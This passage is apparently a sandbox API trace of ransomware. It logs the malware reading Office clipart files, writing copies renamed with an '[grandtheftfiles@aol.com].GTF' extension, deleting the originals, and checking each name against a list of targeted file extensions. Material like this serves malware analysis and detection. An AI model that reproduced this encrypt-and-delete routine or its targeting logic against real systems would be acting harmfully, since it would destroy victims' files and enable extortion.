	[0084.887] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.887] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0084.887] GetLastError () returned 0x0
	[0084.887] ReadFile (in: hFile=0x364, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xed4, lpOverlapped=0x0) returned 1
	[0084.890] WriteFile (in: hFile=0x368, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xee0, lpOverlapped=0x0) returned 1
	[0084.890] ReadFile (in: hFile=0x364, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.891] WriteFile (in: hFile=0x368, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.891] SetEndOfFile (hFile=0x368) returned 1
	[0084.891] CloseHandle (hObject=0x368) returned 1
	[0084.893] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.893] SetEndOfFile (hFile=0x364) returned 1
	[0084.894] CloseHandle (hObject=0x364) returned 1
	[0084.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0084.894] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 1
	[0084.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0084.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0084.895] lstrlenW (lpString=".doc") returned 4
	[0084.895] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.895] lstrlenW (lpString=".docx") returned 5
	[0084.895] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.895] lstrlenW (lpString=".pdf") returned 4
	[0084.895] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.895] lstrlenW (lpString=".xls") returned 4
	[0084.895] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.895] lstrlenW (lpString=".xlsx") returned 5
	[0084.895] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.895] lstrlenW (lpString=".ppt") returned 4
	[0084.895] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0084.895] lstrlenW (lpString=".zip") returned 4
	[0084.895] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.895] lstrlenW (lpString=".rar") returned 4
	[0084.895] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.895] lstrlenW (lpString=".bz2") returned 4
	[0084.895] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.895] lstrlenW (lpString=".7z") returned 3
	[0084.895] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0084.895] lstrlenW (lpString=".dbf") returned 4
	[0084.895] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0084.895] lstrlenW (lpString=".1cd") returned 4
	[0084.896] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0084.896] lstrlenW (lpString=".jpg") returned 4
	[0084.896] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0084.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0084.896] lstrlenW (lpString=".doc") returned 4
	[0084.896] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.896] lstrlenW (lpString=".docx") returned 5
	[0084.896] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.896] lstrlenW (lpString=".pdf") returned 4
	[0084.896] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.896] lstrlenW (lpString=".xls") returned 4
	[0084.896] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.896] lstrlenW (lpString=".xlsx") returned 5
	[0084.896] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.896] lstrlenW (lpString=".ppt") returned 4
	[0084.896] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0084.896] lstrlenW (lpString=".zip") returned 4
	[0084.896] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.896] lstrlenW (lpString=".rar") returned 4
	[0084.896] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.896] lstrlenW (lpString=".bz2") returned 4
	[0084.896] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.896] lstrlenW (lpString=".7z") returned 3
	[0084.896] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0084.896] lstrlenW (lpString=".dbf") returned 4
	[0084.896] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0084.896] lstrlenW (lpString=".1cd") returned 4
	[0084.896] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 68
	[0084.896] lstrlenW (lpString=".jpg") returned 4
	[0084.896] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.897] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0084.897] lstrlenW (lpString="BS00453_.WMF") returned 12
	[0084.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0084.899] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=2436) returned 1
	[0084.899] CloseHandle (hObject=0x368) returned 1
	[0084.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x220
	[0084.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0084.899] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.899] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0084.900] GetLastError () returned 0x0
	[0084.900] ReadFile (in: hFile=0x368, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x984, lpOverlapped=0x0) returned 1
	[0084.903] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x990, lpOverlapped=0x0) returned 1
	[0084.904] ReadFile (in: hFile=0x368, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.904] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.904] SetEndOfFile (hFile=0x380) returned 1
	[0084.904] CloseHandle (hObject=0x380) returned 1
	[0084.905] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.905] SetEndOfFile (hFile=0x368) returned 1
	[0084.906] CloseHandle (hObject=0x368) returned 1
	[0084.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0084.906] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 1
	[0084.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0084.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0084.907] lstrlenW (lpString=".doc") returned 4
	[0084.907] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.907] lstrlenW (lpString=".docx") returned 5
	[0084.907] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.907] lstrlenW (lpString=".pdf") returned 4
	[0084.907] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.907] lstrlenW (lpString=".xls") returned 4
	[0084.907] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.907] lstrlenW (lpString=".xlsx") returned 5
	[0084.907] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.907] lstrlenW (lpString=".ppt") returned 4
	[0084.907] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0084.907] lstrlenW (lpString=".zip") returned 4
	[0084.907] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.907] lstrlenW (lpString=".rar") returned 4
	[0084.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.907] lstrlenW (lpString=".bz2") returned 4
	[0084.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.907] lstrlenW (lpString=".7z") returned 3
	[0084.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0084.907] lstrlenW (lpString=".dbf") returned 4
	[0084.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0084.907] lstrlenW (lpString=".1cd") returned 4
	[0084.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0084.907] lstrlenW (lpString=".jpg") returned 4
	[0084.907] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0084.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0084.907] lstrlenW (lpString=".doc") returned 4
	[0084.907] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.907] lstrlenW (lpString=".docx") returned 5
	[0084.907] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.908] lstrlenW (lpString=".pdf") returned 4
	[0084.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.908] lstrlenW (lpString=".xls") returned 4
	[0084.908] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.908] lstrlenW (lpString=".xlsx") returned 5
	[0084.908] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.908] lstrlenW (lpString=".ppt") returned 4
	[0084.908] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0084.908] lstrlenW (lpString=".zip") returned 4
	[0084.908] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.908] lstrlenW (lpString=".rar") returned 4
	[0084.908] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.908] lstrlenW (lpString=".bz2") returned 4
	[0084.908] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.908] lstrlenW (lpString=".7z") returned 3
	[0084.908] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0084.908] lstrlenW (lpString=".dbf") returned 4
	[0084.908] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0084.908] lstrlenW (lpString=".1cd") returned 4
	[0084.908] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68
	[0084.908] lstrlenW (lpString=".jpg") returned 4
	[0084.908] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.908] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0084.908] lstrlenW (lpString="BS01080_.WMF") returned 12
	[0084.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0084.909] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=2732) returned 1
	[0084.909] CloseHandle (hObject=0x368) returned 1
	[0084.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 0x220
	[0084.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0084.909] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.909] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0084.909] GetLastError () returned 0x0
	[0084.909] ReadFile (in: hFile=0x368, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xaac, lpOverlapped=0x0) returned 1
	[0085.055] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xab0, lpOverlapped=0x0) returned 1
	[0085.055] ReadFile (in: hFile=0x368, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.056] WriteFile (in: hFile=0x380, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.056] SetEndOfFile (hFile=0x380) returned 1
	[0085.214] CloseHandle (hObject=0x380) returned 1
	[0085.215] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.215] SetEndOfFile (hFile=0x368) returned 1
	[0085.216] CloseHandle (hObject=0x368) returned 1
	[0085.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.216] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01080_.wmf")) returned 1
	[0085.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0085.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0085.216] lstrlenW (lpString=".doc") returned 4
	[0085.216] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.217] lstrlenW (lpString=".docx") returned 5
	[0085.217] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.217] lstrlenW (lpString=".pdf") returned 4
	[0085.217] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.217] lstrlenW (lpString=".xls") returned 4
	[0085.217] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.217] lstrlenW (lpString=".xlsx") returned 5
	[0085.217] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.217] lstrlenW (lpString=".ppt") returned 4
	[0085.217] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0085.217] lstrlenW (lpString=".zip") returned 4
	[0085.217] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.217] lstrlenW (lpString=".rar") returned 4
	[0085.217] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.217] lstrlenW (lpString=".bz2") returned 4
	[0085.217] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.217] lstrlenW (lpString=".7z") returned 3
	[0085.217] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0085.217] lstrlenW (lpString=".dbf") returned 4
	[0085.217] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0085.217] lstrlenW (lpString=".1cd") returned 4
	[0085.217] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0085.217] lstrlenW (lpString=".jpg") returned 4
	[0085.217] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0085.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0085.217] lstrlenW (lpString=".doc") returned 4
	[0085.217] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.217] lstrlenW (lpString=".docx") returned 5
	[0085.217] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.217] lstrlenW (lpString=".pdf") returned 4
	[0085.217] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.218] lstrlenW (lpString=".xls") returned 4
	[0085.218] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.218] lstrlenW (lpString=".xlsx") returned 5
	[0085.218] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.218] lstrlenW (lpString=".ppt") returned 4
	[0085.218] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0085.218] lstrlenW (lpString=".zip") returned 4
	[0085.218] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.218] lstrlenW (lpString=".rar") returned 4
	[0085.218] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.218] lstrlenW (lpString=".bz2") returned 4
	[0085.218] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.218] lstrlenW (lpString=".7z") returned 3
	[0085.218] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0085.218] lstrlenW (lpString=".dbf") returned 4
	[0085.218] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0085.218] lstrlenW (lpString=".1cd") returned 4
	[0085.218] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01080_.WMF") returned 68
	[0085.218] lstrlenW (lpString=".jpg") returned 4
	[0085.218] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.218] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.218] lstrlenW (lpString="CUP.WMF") returned 7
	[0085.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0085.219] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=2966) returned 1
	[0085.219] CloseHandle (hObject=0x368) returned 1
	[0085.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 0x220
	[0085.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
